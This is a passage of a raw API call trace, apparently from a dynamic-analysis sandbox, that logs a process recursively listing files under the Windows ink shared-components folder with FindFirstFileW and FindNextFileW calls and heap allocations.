lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0215.682] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0215.682] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0215.682] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0215.682] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0215.683] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0215.683] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0215.683] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0215.683] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.683] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0215.683] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0215.684] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.686] GetProcessHeap () returned 0x560000 [0215.686] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.686] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0215.686] GetProcessHeap () returned 0x560000 [0215.687] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.687] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.687] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.687] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.687] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.688] GetProcessHeap () returned 0x560000 [0215.688] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.688] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0215.688] GetProcessHeap () returned 0x560000 [0215.688] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.886] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.886] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.886] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.886] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.887] GetProcessHeap () returned 0x560000 [0215.887] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.887] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0215.887] GetProcessHeap () returned 0x560000 [0215.887] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.887] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.888] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.888] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.888] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.888] GetProcessHeap () returned 0x560000 [0215.888] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.888] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0215.889] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0215.889] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0215.889] GetProcessHeap () returned 0x560000 [0215.889] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.890] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.890] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.890] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.890] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.890] GetProcessHeap () returned 0x560000 [0215.890] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.890] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0215.891] GetProcessHeap () returned 0x560000 [0215.891] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.895] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.895] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0215.895] GetProcessHeap () returned 0x560000 [0215.895] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0215.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0215.898] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.899] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0215.899] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0215.899] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0215.899] GetProcessHeap () returned 0x560000 [0215.899] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0215.899] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0215.900] FindNextFileW (in: hFindFile=0x65bc48, 